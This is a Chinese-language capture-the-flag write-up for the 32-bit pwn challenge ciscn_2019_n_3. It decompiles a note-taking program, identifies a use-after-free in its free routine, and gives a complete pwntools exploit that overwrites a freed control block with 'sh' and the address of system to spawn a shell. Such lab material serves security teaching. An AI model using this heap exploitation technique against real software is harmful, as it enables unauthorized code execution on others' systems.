ciscn_2019_n_3
准备

32 位
分析
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| int __cdecl main(int argc, const char **argv, const char **envp) { int n2; // eax float v5; // [esp+1Ch] [ebp-Ch]
alarm(0x12Cu); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts("================================================================================"); puts(&s_); puts("\tCloud Note (Free Edition)"); puts("Free Edition can only use within 300 seconds"); puts("Profession Edition only sale $9.999999"); system("date"); puts("================================================================================"); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts("1. New note"); puts("2. Del note"); puts("3. Show note"); puts("4. Purchase Pro Edition"); v5 = (long double)rand() / 2147483600.0 * 9.0; n2 = ask("CNote"); if ( n2 != 2 ) break; do_del(); } if ( n2 > 2 ) break; if ( n2 != 1 ) goto LABEL_13; do_new(); } if ( n2 != 3 ) break; do_dump(); } if ( n2 != 4 ) break; printf("\tBalance: %f\n", v5); puts("\tYou dont have enough money!\n"); } LABEL_13: puts("Thanks for using CNote! Bye~"); return 0; }
|
开头看到 system
函数
四个选项,有增删查功能
1-do_new(add)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| int do_new() { int n2; // eax unsigned int n0x10; // [esp+0h] [ebp-18h] int v3; // [esp+4h] [ebp-14h] unsigned int size; // [esp+Ch] [ebp-Ch]
n0x10 = ask("Index"); if ( n0x10 > 0x10 ) return puts("Out of index!"); if ( records[n0x10] ) return printf("Index #%d is used!\n", n0x10); records[n0x10] = (int)malloc(0xCu); v3 = records[n0x10]; *(_DWORD *)v3 = rec_int_print; *(_DWORD *)(v3 + 4) = rec_int_free; puts("Blob type:"); puts("1. Integer"); puts("2. Text"); n2 = ask("Type"); if ( n2 == 1 ) { *(_DWORD *)(v3 + 8) = ask("Value"); } else { if ( n2 != 2 ) return puts("Invalid type!"); size = ask("Length"); if ( size > 0x400 ) return puts("Length too long, please buy pro edition to store longer note!"); *(_DWORD *)(v3 + 8) = malloc(size); printf("Value > "); fgets(*(char **)(v3 + 8), size, stdin); *(_DWORD *)v3 = rec_str_print; *(_DWORD *)(v3 + 4) = rec_str_free; } puts("Okey, got your data. Here is it:"); return (*(int (__cdecl **)(int))v3)(v3); }
|
这里是添加堆块,限制了堆块个数不能超过 16
开头先创建了一个 0xC 大小的堆块,当控制块
在输入内容前,还有一个选择,选择是文本,还是整数,想要控制创建的堆块大小,需要选择文本
堆块大小被限制不能大于 0x400
这里关键的是这几句
1 2 3 4 5
| records[n0x10] = (int)malloc(0xCu); v3 = records[n0x10]; *(_DWORD *)(v3 + 8) = malloc(size); *(_DWORD *)v3 = rec_str_print; *(_DWORD *)(v3 + 4) = rec_str_free;
|
这里的 n0x10
是我们选择的堆块序号(index
)
这里主要的是把堆块的起始地址赋值给 records[n0x10]\v3
在堆块偏移 8 处存储内容块的堆地址
在堆块偏移 0 处存储 rec_str_print
函数的地址
在堆块偏移 4 处存储 rec_str_free
函数的地址
rec_str_print函数
1 2 3 4
| int __cdecl rec_str_print(int a1) { return printf("Note(Type=String, Value=%s)\n", *(const char **)(a1 + 8)); }
|
输出堆块内容
rec_str_free函数
1 2 3 4 5 6
| int __cdecl rec_str_free(void **ptr) { free(ptr[2]); free(ptr); return puts("Note freed!"); }
|
删除操作,但删除后,没修改指针,存在 UAF
漏洞
2-do_del(delete)函数
1 2 3 4 5 6 7
| int do_del() { int v0; // eax
v0 = ask("Index"); return (*(int (__cdecl **)(int))(records[v0] + 4))(records[v0]); }
|
这里关键点是这里
1 2
| (*(int (__cdecl **)(int))(records[v0] + 4))(records[v0]) ( *(int (__cdecl **)(int)) (records[v0] + 4) )(records[v0])
|
这里的 v0
是我们选择的堆块序号(index
)
把 records[v0]
(堆块的起始地址) 作为参数
调用 records[v0] + 4
(堆块偏移 0x4 的位置,这里存放着 rec_str_free
的地址) 这里的释放函数,从而达到释放堆块的效果
3-do_dump(show)函数
1 2 3 4 5 6 7
| int do_dump() { int v0; // eax
v0 = ask("Index"); return (*(int (__cdecl **)(int))records[v0])(records[v0]); }
|
这里的 v0
是我们选择的堆块序号(index
)
把 records[v0]
(堆块的起始地址) 作为参数
调用 records[v0] + 0
(堆块偏移 0 的位置,这里存放着 rec_str_print
的地址) 这里的输出函数,从而达到输出堆块内容的效果
思路
这题有 UAF
,有 system
函数
根据分析可以知道,在程序删除的逻辑是会调用records[v0] + 4
这里的函数,把 records[v0]
作为参数,所以我们可以把records[v0] + 4
这里设置为 system
函数的地址,把 records[v0]
这里设置为 'sh'
,最后释放这个堆块,来获得 shell
先创建两个堆块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context(os='linux',log_level = 'debug',arch='i386') # io=remote('node5.buuoj.cn',29650) io= process('/home/motaly/n3') elf=ELF('/home/motaly/n3') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
def add(index,type,len,value): io.sendlineafter("CNote > ", "1") io.sendlineafter("Index > ", str(index)) io.sendlineafter("Type > ", str(type)) io.sendlineafter("Length > ", str(len)) io.sendlineafter("Value > ", value)
def delete(index): io.sendlineafter("CNote > ", "2") io.sendlineafter("Index > ", str(index))
def show(index): io.sendlineafter("CNote > ", "3") io.sendlineafter("Index > ", str(index))
add(1,2,0x30,"aaaa") add(2,2,0x30,"bbbb")
|

把这两块删除
1 2 3 4 5
| add(1,2,0x30,"aaaa") add(2,2,0x30,"bbbb")
delete(1) delete(2)
|
此时我们申请一个 0xC 大小的堆块,我们就能把两块的结构块,申请出来,申请的同时可以把 'sh'
和 system
地址写入
1 2 3 4 5 6 7 8 9 10
| add(1,2,0x30,"aaaa") add(2,2,0x30,"bbbb")
delete(1) delete(2)
system_addr = elf.symbols['system'] payload = b'sh\x00\x00' + p32(system_addr)
add(3,2,0xc,payload)
|

最后删除 1 块,触发连接
1 2 3 4 5 6 7 8 9 10 11 12
| add(1,2,0x30,"aaaa") add(2,2,0x30,"bbbb")
delete(1) delete(2)
system_addr = elf.symbols['system'] payload = b'sh\x00\x00' + p32(system_addr)
add(3,2,0xc,payload)
delete(1)
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * context(os='linux',log_level = 'debug',arch='i386') # io=remote('node5.buuoj.cn',29650) io= process('/home/motaly/n3') elf=ELF('/home/motaly/n3') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
def add(index,type,len,value): io.sendlineafter("CNote > ", "1") io.sendlineafter("Index > ", str(index)) io.sendlineafter("Type > ", str(type)) io.sendlineafter("Length > ", str(len)) io.sendlineafter("Value > ", value)
def delete(index): io.sendlineafter("CNote > ", "2") io.sendlineafter("Index > ", str(index))
def show(index): io.sendlineafter("CNote > ", "3") io.sendlineafter("Index > ", str(index))
add(1,2,0x30,"aaaa") add(2,2,0x30,"bbbb")
delete(1) delete(2)
system_addr = elf.symbols['system'] payload = b'sh\x00\x00' + p32(system_addr)
add(3,2,0xc,payload)
delete(1) io.interactive()
|